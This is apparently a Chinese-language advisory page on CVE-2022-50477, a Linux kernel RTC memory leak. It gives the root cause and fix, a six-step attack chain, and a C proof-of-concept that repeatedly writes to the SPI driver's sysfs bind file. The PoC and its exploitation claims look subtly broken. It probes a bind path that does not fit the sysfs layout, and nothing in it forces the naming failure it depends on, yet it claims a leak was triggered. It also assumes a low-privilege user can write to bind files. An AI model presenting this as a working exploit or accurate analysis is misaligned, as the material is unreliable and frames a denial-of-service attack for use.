IPBUF安全漏洞报告
English
CVE-2022-50477 CVSS 5.5 中危

CVE-2022-50477 Linux内核RTC类设备内存泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50477
漏洞类型
内存泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核rtc子系统(rtc: class)

相关标签

内存泄漏Linux内核RTC拒绝服务本地攻击内核漏洞SPI驱动资源管理

漏洞概述

CVE-2022-50477是Linux内核RTC(实时时钟)子系统中存在的一个内存泄漏漏洞。该漏洞位于drivers/rtc/class.c文件的devm_rtc_allocate_device()函数中。在该函数的执行流程中,首先通过内存分配函数分配一个rtc_device结构体,随后调用dev_set_name()为设备设置名称。然而,如果dev_set_name()调用失败,之前成功分配的rtc_device结构体将无法被正确释放,从而导致内存泄漏问题。

该漏洞的CVSS评分为5.5分,属于中危级别。其攻击向量为本地攻击(AV:L),需要低权限(PR:L),无需用户交互(UI:N)。虽然该漏洞不会直接导致机密性泄露或完整性破坏(机密性影响为低、完整性影响为无),但会对系统可用性产生高影响(A:H),因为持续的内存泄漏可能导致系统资源耗尽,最终影响系统稳定性。

从漏洞描述中提供的内核堆栈跟踪信息可以看到,该漏洞在rx4581_probe()函数(rtc_rx4581驱动模块)通过SPI总线探测过程中被触发。触发场景为python3进程通过sysfs写入触发SPI设备绑定操作,最终调用到存在缺陷的devm_rtc_allocate_device()函数。该漏洞影响所有使用devm_rtc_allocate_device()接口的RTC设备驱动。

技术细节

该漏洞的技术原理涉及Linux内核设备资源管理机制中的缺陷。具体分析如下:

1. **漏洞函数路径**:devm_rtc_allocate_device() -> dev_set_name() -> 内存泄漏

2. **缺陷代码逻辑**:在原始实现中,函数执行顺序为:
- 调用alloc()分配rtc_device结构体(大小约2048字节)
- 调用dev_set_name()设置设备名称
- 调用devm_add_action_or_reset()注册资源释放回调

3. **问题根源**:当dev_set_name()执行失败时(例如设备名称冲突或内存不足),由于devm_add_action_or_reset()尚未注册,分配的rtc_device结构体没有对应的自动释放机制,导致内存泄漏。

4. **修复方案**:将devm_add_action_or_reset()调用移到dev_set_name()之前执行,确保即使dev_set_name()失败,之前分配的rtc_device也能通过devm机制自动释放。

5. **触发场景**:通过sysfs接口绑定SPI设备时,内核会调用spi_probe() -> really_probe() -> rx4581_probe() -> devm_rtc_device_register() -> devm_rtc_allocate_device(),在设备名称设置失败时触发泄漏。

6. **利用方式**:攻击者可通过持续触发设备探测过程(如通过/sys/bus/spi/drivers/.../bind接口),反复造成内存泄漏,最终耗尽系统内存资源,导致系统不稳定或拒绝服务。

攻击链分析

STEP 1
步骤1
攻击者获取对目标系统的本地低权限访问权限
STEP 2
步骤2
通过sysfs文件系统接口访问SPI设备绑定路径(/sys/bus/spi/drivers/)
STEP 3
步骤3
向bind属性写入设备地址,触发内核调用spi_probe()进行设备探测
STEP 4
步骤4
探测过程中调用rx4581_probe() -> devm_rtc_allocate_device()分配rtc_device结构体
STEP 5
步骤5
dev_set_name()调用失败(如名称冲突),但已分配的rtc_device未被释放
STEP 6
步骤6
重复执行绑定操作,持续泄漏内核内存(约2048字节/次),最终耗尽系统资源导致拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50477 PoC - Trigger memory leak via SPI device rebind */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> int main() { int fd; char buf[256]; const char *spi_driver_path = "/sys/bus/spi/drivers/rx4581/bind"; int i; /* Continuously trigger SPI device binding to cause memory leak * in devm_rtc_allocate_device() when dev_set_name() fails. * Each failed attempt leaks ~2048 bytes of kernel memory. */ for (i = 0; i < 1000; i++) { fd = open(spi_driver_path, O_WRONLY); if (fd < 0) { /* Try alternative paths for SPI RTC devices */ snprintf(buf, sizeof(buf), "/sys/bus/spi/drivers/rx4581/spi%d.0/bind", i); fd = open(buf, O_WRONLY); if (fd < 0) continue; } /* Write SPI device address to trigger probe -> memory leak */ write(fd, "spi0.0\n", 7); close(fd); } printf("Memory leak triggered. Check /proc/meminfo for memory usage.\n"); return 0; }

影响范围

Linux kernel < 6.0(包含存在缺陷的rtc class驱动)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可采取以下临时缓解措施:1)限制本地用户对sysfs中SPI驱动绑定接口的访问权限,通过udev规则或文件系统权限控制;2)监控系统内存使用,设置合理的内存监控告警阈值;3)定期重启系统以释放泄漏的内存;4)禁用不必要的SPI RTC驱动模块(如rtc_rx4581)以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表